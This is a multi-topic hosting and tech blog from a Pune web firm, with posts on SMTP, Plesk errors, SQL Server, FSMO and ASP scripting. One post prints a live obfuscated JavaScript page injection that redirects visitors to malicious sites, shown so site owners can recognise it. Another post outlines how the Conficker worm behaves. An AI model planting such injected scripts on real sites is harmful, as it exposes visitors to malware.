Inspired Galaxy

Started new website designing & development firm in Pune... Technology which I learned and issues which I had experienced will help me to implement for my clients. There are a lot of web designing & developing companies in Pune, then still why to open another one. There is difference. I have started this for those who are unaware of the internet and still want to explore their business, their small scale industries product, their agricultural plants. I have couple of key examples who have successful & now well known for whole world by the media of internet. They are Mauli Agri Tourism & Karan Agri Tourism.

There were doing their tourism business very well, but still were feeling incomplete in this competitive world. This internet identity opened new doors for their business. I want to accompany such enter pruner who deserves identity in this virtual world of internet.

I am here to help them & grow their business beyond the horizon of their territory... This makes me different from other website developing companies.

Facebook error: Call to a member function get() on a non-object in

Facebook error:

Call to a member function get() on a non-object in

Fatal error: Call to a member function get() on a non-object in /domain/AdServer/Code/AdServer.php on line 802

What's this?

Working of email on Internet

In the process of sending an e-mail, e-mail client works together with the SMTP server to handle the sending. The SMTP server on local host may have communications with other SMTP servers to send the e-mail.

Let's consider, to send an e-mail from e-mail ID is admin and this account is on asp-mssql.com to webmaster@gmail.com.

From Outlook Express, as email client, one has to specify the name of the mail server -- mail.asp-mssql.com, after sending composed a message, following things happen with mail:

1. Outlook Express, email client first connects to the local SMTP server at mail.asp-mssql.com on port 25 (default).

2. Outlook Express has a communication with the SMTP server, informing the SMTP server about the sender address and the receipt address, along with the body of the message.

3. The SMTP server takes the "TO" address (webmaster@gmail.com) and puts it into two parts: webmaster (the recipient name) and the gmail.com (domain name). If the "TO" address belongs to another user at asp-mssql.com, the SMTP server would forward the message to the POP3 server for asp-mssql.com using the delivery agent. As the recipient is at another domain, SMTP needs to communicate with gmail.com.

4. The SMTP server has a communication with a Domain Name Server. It asks for, the IP address of the SMTP server for gmail.com. The DNS provides one or more IP addresses for the SMTP server(s) for gmail.com.

5. The SMTP server at asp-mssql.com connects with the SMTP server at gmail.com on port 25. It provides same simple text conversation that received from e-mail client, and provides the message to the gmail.com server. The gmail.com server identifies the domain name for webmaster, so it hands the message to gmail's POP3 server, which delivers the message in mailbox of webmaster.

If the SMTP server of asp-mssql.com fails to connect the SMTP server at gmail.com, then the message remains into a queue. Message is occasionally tried to resend in its queue.After specified period of time, if it fails to delivered, it sends undelivered report.

Following are the commands like HELO, MAIL, RCPT and DATA.
* HELO - introduce yourself
* EHLO - introduce yourself and request extended mode
* MAIL FROM: - specify the sender
* RCPT TO: - specify the recipient
* DATA - specify the body of the message (To, From and Subject in the first three lines.)
* RSET - reset
* QUIT - quit the session
* HELP - get help on commands
* VRFY - verify an address
* EXPN - expand an address
* VERB - verbose

Satellite internet in rural area

How do you access the Internet other than dial-up if you reside too faraway from a service provider. Then Satellite Internet access might be alternative. It's ideal for rural Internet users who want broadband access.

Satellite Internet does not use any physical connectivity. But it uses a satellite dish for upload/download data communications. Speed of upload is around one-tenth of the 500 kbps of the download speed. Satellite systems are with ten times faster than a normal internet connection.

Two-way satellite Internet consists of:

1) Approximately a two-foot by three-foot dish
2) Two modems for uplink and downlink
3) Coaxial cables between dish and modem

The prime condition is a clear view to the south, as the orbiting satellites are over the equator area, same as satellite TV, trees and heavy rains can have an effect on reception of the signals.

Two-way satellite Internet uses Internet Protocol (IP) multicasting technology, in which up to 5,000 channels of communication can concurrently be served by a sole satellite. IP multicasting sends data from one point to many points at the same time in compressed format. The data size and the bandwidth can be reduced by compression.

The satellite data downlink is same as the normal terrestrial link, apart from the satellite transmits the data to local PC via the same dish that would allow you to obtain a Pay-Per-View television program.

So, in a rural area, satellite Internet may be for you!

Java Injection code in IIS

Annoyed by injection in your web site pages, then you’d look for following solution on it. Here is one of the javascript codes of an “injection” that inserts itself into the default page of a website. It is planned to go hidden by only redirecting arbitrarily.

Generally this code is inserted at the bottom of the source code of index or default page, with a considerable white space after the end of the normal source code. It redirects to a “spyware” or “virus” site. Even it is also not detected by antivirus programs.

It infects each and every .php file and does not re-infect after the initial infection. Generally it injects the code into .php (and .html) files about 115 lines below the end line of the normal code. It ONLY infects index.php/html files in the httpdocs directory of the website.

If you rename your file to some other name such as index2.php – it’ll not be infected. The “modified date” time stamps also change with the infection. Once you get the time stamp when it infected, search for files modified at that time.

var mf=” shapgvba ejtf(c){ine ro,con=\”HcvfNU)z\\\”n#hG1*PrTR[4`5('082BVWa]-eZo,}9g$_l+m^6bp~w&IiOA|d@s=y7C:.XMq!xtSj;k{3u\”,olq=\”\”,i,nnu,l=\”\”,n;sbe(ro=0;ro<c.yratgu;ro++){ i=c.puneNg(ro);nnu=con.vaqrkBs(i);vs(nnu>-1){ n=((nnu+1)%81-1);vs(n<=0)n+=81;l+=con.puneNg(n-1); } ryfr l+=i;}olq+=l;qbphzrag.jevgr(olq);}”,rmhc=“”;for(gvg=0;gvg<mf.length;gvg++){ fbd = mf.charCodeAt(gvg);if((fbd>64 && fbd<78)||(fbd>96 && fbd<110)) fbd=fbd+13;else if((fbd>77 && fbd<91)||(fbd>109 && fbd<123))fbd=fbd-13;rmhc=rmhc.concat(String.fromCharCode(fbd));} var km,ff; eval( rmhc );km=“<A~Msi$U7#]FT#FGla&#B#A~Msi$a>U!c~T\”G]$K;Ms$G’Ua<SeRJ:1U7#]FT#FGl\\an#B#S~Msi$\\aUSRel\\a $$i.//;;;KFccF7G#]#7s$s~AK]G$/yyT$,K&A?az!c~T\”G]$KMG=GMMGMza\\a><\\/SeRJ:1>aUmxU</A~Msi$>U”; rwgs(km);

Unable to connect to Microsoft website

Conficker is also know by Worm: Win32/Conficker.A & Worm:Win32/Conficker.B in Microsoft, Crypt.AVL in AVG, Trojan.Win32.Pakes.lxf for F-Secure, Trojan.Win32.Pakes.lxf in Kaspersky,

It works in the recurring copy itself using a random name to the %Sysdir% folder.

It modifies the registry key to create a randomly-named service on the compramised system:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\{random}\Parameters\"ServiceDll" = "Path to worm"
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\{random}\"ImagePath" = %SystemRoot%\system32\svchost.exe -k netsvcs

It tries to connect to multiple websites to obtain the public IP address of the infected computer. It attempts to download a malware file from the remote website. It starts a HTTP server on any random port on the infected machine to host a copy of the worm.

Once one system on the network is infected, it continuously scans the whole subnet of the infected host for vulnerable machines and executes the exploit. If it gets success, then that computer will connect again to the http server and download a copy of the worm. Afterward variants of w32/Conficker.worm are using scheduled tasks and Autorun.inf file to duplicate on to non vulnerable systems or to re-infect previously infected systems even if they are cleaned.

You can check whether your system is infected or not?
You may find that you are not only unable to connect to Microsoft website, but also Anti-virus websites are not working.
Infected system Users are locked out of directory, access to admin shares get denied, scheduled tasks gets created, access to security related web sites is blocked.

Conficker removal tool from Microsoft

Remedy for this issue is to patch and reboot the infected system, If you detect this worm on your system, you should reboot to clean memory correctly. May be you will need to reboot more that one time. Scheduled tasks are used to be created on the system to re-activate the worm. Autorun.inf files re-activate the worm.

UDP and TCP port types

What's the difference between UDP & TCP port types?

UDP is a connectionless protocol that executes on top of IP (UDP/IP), provides very few error recovery services, It's used mainly for broadcasting messages over a network.
Connectionless stands for that a host can send a message to a different host without first establishing a connection with the receiver. The host simply puts a message onto the network with a target address and hopes that the messages arrive. The transmission or receipt of a UDP packet doesn't assurance any further communication in either path. Because a UDP packet doesn't need an existing connection, network systems use UDP mainly for broadcasting messages (i.e., a one-to-many sending, much like unsolicited scrap email). The most common UDP packets—DNS registrations and name-resolution queries—are sent to port 53 and TCP is a connection-oriented protocol that executes on top of IP (TCP/IP). TCP is assurance to deliver packets to target host before sending the message to another host, it establish the connection with recipient.

Home directory inaccessible in Plesk control panel

This is commonly observed error on Plesk based windows FTP service while connecting remotely. Locally you can easily connect to FTP, but remotely it will show "Home directory inaccessible" error.

You can for following solution on this error,

a. Repair permissions on home folders of problem domains.

b. Re-configure FTP configuration using Plesk command line tool ftpmng.exe as follows:

Login to RDP of the server, open command prompt, navigate to %plesk_bin% directory. Execute following commands,

ftpmng.exe --remove-vhost --vhost-name=yourdomain.com
ftpmng.exe --reconfigure-vhost --vhost-name=yourdomain.com

c. If this issue happens to every domain you can repair FTP configuration for all domains using commands as below:

Login to RDP of the server, open command prompt, navigate to %plesk_bin% directory. Execute following commands,

ftpmng.exe --remove-all
ftpmng.exe --reconfigure-all

The system cannot find the file specified

Some times a problem returns on the www.domainname.com which are hosted under Plesk control panel; the problem is that on the URL http://www.domainname.com/virtualdirectory/cartsummary.asp the browser displays "The system cannot find the file specified".

Restarting IIS 6.0 Server or Plesk control panel can sort the problem but some times it returns.

Simple solution will be helpful on this issue.

Login to Plesk control, navigate to your domain which is causing "The system cannot find the file specified" error. Under domain panel click on Hotlink protection which will have some extensions like asp and mdf extensions in them; turn hotlink protection OFF and that solves the problem.

Something to bear in mind, the error only comes up on that page as there is a META REFRESH on the previous page hence the hotlink protection kicking in.

Check heart beat of SQL Server services

Helpful for Database administrators to test the heart beat of SQL Server services daily.

Step1
Create c:\HeartBeat folder and a file ServiceList.txt which will contains following text in it with all the servers and services would like to check.

SQL,MSSQLServer
SQL,SQLSERVERAGENT
YUKON,MSSQLServer
YUKON,SQLSERVERAGENT
YUKON,MSSQLServerOLAPService
ETL,MSSQLServer
ETL,SQLSERVERAGENT

Note: Need to add server names and its related service names.

Step2
Make a file c:\HeartBeat\CheckHeartbeat.vbs and copy the below code into the file.

'Objective: TO check the Heartbeat of all SQL Server services

on error resume next
Set iFSO = CreateObject("Scripting.FilesyStemObject")
Set oFSO = CreateObject("Scripting.FilesyStemObject")

InputFile="c:\Heartbeat\Servicelist.txt"
Outputfile="c:\Heartbeat\Status.txt"

Set ifile = iFSO.OpenTextFile(inputfile)
Set ofile = ofso.createTextFile(OutputFile, True)

Do until ifile.AtEndOfLine
servicelist= ifile.ReadLine
strcomputer=left(servicelist,instr(servicelist,",")-1)
Service =right(servicelist,len(servicelist)-instr(servicelist,","))
ofile.writeline Now()
ofile.writeline "ServerName: " & strcomputer
ofile.writeline "ServiceName: " & Service

Set objWMIService =nothing
Set objWMIService = GetObject("winmgmts:\\" & strComputer & "\root\cimv2")

if err.number<>0 then
ofile.writeline "Error: " & err.number
ofile.writeline "Error: " & err.description
else

Set colItems = nothing
query=""
query = "Select * from Win32_Service where name = '" & Service & "'"
'msgbox query
Set colItems = objWMIService.ExecQuery(query,,48)
if err.number<>0 then
ofile.writeline "Error: " & err.number
ofile.writeline "Error: " & err.description
else
For Each objItem in colItems
ofile.writeline "Status: " & objItem.Status
ofile.writeline "State: " & objItem.State
next

next
end if
end if
err.number=0
Loop

msgbox "SQL Service Status Check completed"

Step3
Execute the above VB script. The message will show the status of it.
In addition, it creates a file c:\HeartBeat\Status.txt with detailed logs for the status.

Ref: Check MSSQL Server's status

How hacker exploits a website?

Hacking Web Sites:

Hackers are with tons of mechanisms attack, they decide the one most appropriate to vulnerability. Its organized plan to exploit.
There are so many techniques of hacking used by hackers, following are couple of them explained in details.

How hacker exploits a website

MySQL memcache

In current web scenario, the access speed of website is more crucial. If your web site is running on MySQL database with number of records in it, can be slow processed as each record needs execution of the SQL query and resulting of the data from the database. So that queries on tables, which are in the process, are locked, this may result in delay of query and reduce the speed.
memcache for MySQL

Hindi supported on Joomla

Here is how you can enable Joomla to write in Indian languages.

Step 1:Install indiaPlugin for tinyMCE

Upload files to hosting server,
• Download the India Plugin
• Extract this file in a folder named indiaplugin.
• Now FTP the indiaplugin folder and all files inside it, to “plugins\editors\tinymce\jscripts\tiny_mce\plugins ” in case of Joomla 1.5.x
Modify the ‘tinymce.php‘ file
• Edit tinymce.php file in “editors\tinymce”.
In Joomla 1.0.x

For further detailed steps, follow Indian Language support on Joomla

SQL Server 2005 Deployment on Windows Shared Server Hosting

SQL Server 2005 Deployment management on Windows Shared Server Hosting Plan

Requirement:

Windows shared hosting Server should be with 32-bit processor and minimum of 3GB of RAM including Windows Server™ 2003 operating system.

Possibilities:

a) In various situations, managing several instances of SQL Server on a particular server can support additional users than a single instance of SQL Server.

b) CLR integration with SQL Server offers developers who are well-known with .NET programming the skill to code database objects by using the programming language they previously know.

EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE
GO

EXEC sp_configure ‘clr enabled’, 1
RECONFIGURE
GO

c) Using the query cost governor can avoid run off queries from overwhelming lots of resources on a Windows shared hosting server.

Whenever SQL Server obtains a query, the query optimizer produces probable time that the query is likely to take. The query cost governor limit can be used to stop all queries that are probable to take more than a particular amount of time. However, it is possible for the probable time to be inaccurate, which will cause fast-running queries to be cancelled. The choice to apply query cost governor limits is a negotiation between maintaining suitable server performance under load versus the possible for generating client support issues.

EXEC sp_configure ‘show advanced options’, 1
RECONFIGURE GO

EXEC sp_configure ‘query governor cost limit’, 300
RECONFIGURE GO

d) Disabling or Renaming the Built-in SA Account

In SQL Server 2005, the built-in system administrator (SA) account was kept for backward compatibility. As long as it is not necessary, this account ought to be disabled or renamed.

These commands can be used to disable or rename SA account:

ALTER LOGIN sa DISABLE;
ALTER LOGIN sa WITH NAME = [sys-admin];

Login failed for user computer\ASPNET

Common reason behind this is, with a Web application is trying to access a Microsoft SQL Server. The definite error or exception that is raised depends on whether the Web server is also running SQL Server? This problem arises because the Web application is not passing valid credentials to SQL Server. You can check following steps,

Login failed for user computer\ASPNET

ASP.NET Web Applications under IIS 6.0

Hi All,

You might be all curious about How ASP.NET web applications run under IIS6.0 on Windows Web hosting Server

In the following post, I've briefed it, may it will help you to understand an idea about its layout.

Your ASP.NET application need to be under an IIS virtual directory, working under application root. These ASP.NET applications have compiled assemblies settings stored in a text-based Web.config file; pages; server controls; and XML Web services..... ASP.NET Web Applications under IIS 6.0

How to prevent MSSQL injection?

How to prevent MSSQL injection?

In reaction to the recent mass MSSQL injection attacks, Microsoft has developed a new static code examination tool for discovery MSSQL Injection vulnerabilities in ASP code.

Web site developers can run the tool on their ASP source code to recognize the root cause of the attack and tackle them to reduce their coverage to future attacks in the MSSQL databases.

The tool will scan ASP source code and generate warnings linked to SQL Injection vulnerabilities. The tool also provides explanation support that can be used to develop the scrutiny of the code which will prevent MSSQL injection.

Directions to complete, follow these steps :

Download from this link and install the Microsoft Source Code Analyzer for Microsoft SQL Injection :

1. Download msscasi_asp_pkg.exe to a temporary directory.
2. Run msscasi_asp_pkg.exe.
3. Enter an installation directory when prompted.
4. After extracting the files, read the usage section of the Readme.htm file for next steps.

What is FSMO?

FSMO is Flexible Single Master Operations, There are five FSMO roles:

* PDC emulator (one per domain): It permits Windows Server 2003 to perform as a Windows NT primary domain controller (PDC), and it not only offers replication support for Windows NT-based backup domain controllers (BDCs), but also helps with time and group policy synchronization.

* Infrastructure master (one per domain): It is responsible for updating the group-to-user references every time the members of groups alter or obtain new names.

* Relative ID (RID) master (one per domain): It makes sure that every object formed has a unique identification number.

* Schema master (one per forest): It is responsible for maintaining and modifying the Active Directory schema.

* Domain naming master (one per forest): It is responsible for the addition and deletion of domains in a forest.

Now the real thing is which servers hold these roles in an Active Directory forest?

To find the PDC emulator, the infrastructure master, and the RID master, follows these steps:

1. Go to Start | Administrative Tools | Active Directory Users and Computers.
2. Right-click the domain, and select Operations Master.

The resultant three tabs will explain you which server holds each respective role.

To find the schema master, follow these steps:

1. Go to Start | Run.
2. Enter regsvr32 schmmgmt.dll in the Open text box, and click OK.
3. Go to Start | Run.
4. Enter mmc in the Open text box, and click OK.
5. Go to File | Add/Remove Snap-In, and click Add.
6. Click Active Directory Schema, click Add, click Close, and click OK.
7. Right-click Active Directory Schema, and select Operations Master from the shortcut menu.

To find the domain naming master, follow these steps:

1. Go to Start | Administrative Tools | Active Directory Domains And Trusts.
2. Right-click Active Directory Domains And Trusts, and select Operations Master from the list.

Each option features a modify button, which allows you to move the role to another domain controller.

Execute a batch file in ASP

How do I execute a batch file in ASP?

On the Web hosting Server , one needs WSH, ASPExec or DynuExec available on the Hosting Server to execute the scripts which tries to execute batch files.

For example,

1) To start w3svc.
----------------------------------------------------------------------------------------------
<%
set wshell = CreateObject("WScript.Shell") wshell.run "c:\execute.bat"
set wshell = nothing
%>
----------------------------------------------------------------------------------------------

This bat file contains
----------------------------------------------------------------------------------------------
net stop iisadmin /y
net start w3svc
----------------------------------------------------------------------------------------------

2) Ping response in your ASP code.
----------------------------------------------------------------------------------------------
<% Response.Buffer = true %>
<%
url = "www.host.co.in"
Set objWShell = CreateObject("WScript.Shell")
Set objCmd = objWShell.Exec("ping " & url)
strPResult = objCmd.StdOut.Readall()
set objCmd = nothing: Set objWShell = nothing

strStatus = "offline"
if InStr(strPResult,"TTL=")>0 then strStatus = "online"

response.write url & " is " & strStatus
response.write ".
" & replace(strPResult,vbCrLf,"
")
%>
----------------------------------------------------------------------------------------------

Some time, you may come across errors if code is improrely configured:
1)
----------------------------------------------------------------------------------------------
Error Type:
(0x80070002)
/.asp, line
----------------------------------------------------------------------------------------------

it means that the file is not found, you will need to check the name and path of the file

2)
----------------------------------------------------------------------------------------------
Microsoft VBScript runtime error '800a0046'
Permission denied
/.asp, line
----------------------------------------------------------------------------------------------

Either IUSR_MachineName or an authenticated user does not have permissions to the file or folder or the IUSR does not have permissions to one or more of the commands being called within the file. Never assume that IUSR_machineName is included in the "Everyone" group... and never just give "Everyone" full access to this folder, or put IUSR in the Administrators group. You have to explicitly give IUSR permissions to file, folder, and anything else that the command has to touch.

And one more thing, never include such script which needs users interaction, because this code runs in background and may be waiting for response from the User. This may lead to Web hosting Server hang.

Google is now 10 years old...

Happy Birthday Google, my friend!!!

When Larry Page and Sergey Brin established Google Inc. on September 7, 1998, they had little more than their creativity, four computers and an investor's $100,000 bet on their belief that an Internet search engine could change the humankind.

In the most recent example of its persistent expansion, Google has just released a Web Browser to make its search engine and other online services even easy to get to and attractive. Not every peripheral step has gone smoothly, though; several of the company's additional products have flopped or never lived up to the publicity.

But the lengthy to-do list also includes: making digital copies of the entire world's books; establishing electronic file cabinets for people's fitness account; leading the substitute power charge away from fossil fuels; selling computer programs to businesses over the Internet; and tweaking its search engine so it can better understand requests stated in basic words, like a human would.

Google as an daunting kingdom. It holds commanding leads in both the Internet search and advertising markets. The company processes nearly two-thirds of the world's online search requests.

The supremacy has enabled Google to rake in $48 billion from Internet Ads since 2001. Google hasn't hoarded all of that capital: the company has paid $15 billion in commissions to the Web sites that run its ads during the same period, serving to support major online destinations like AOL, Ask.com and MySpace as well as an array of bloggers.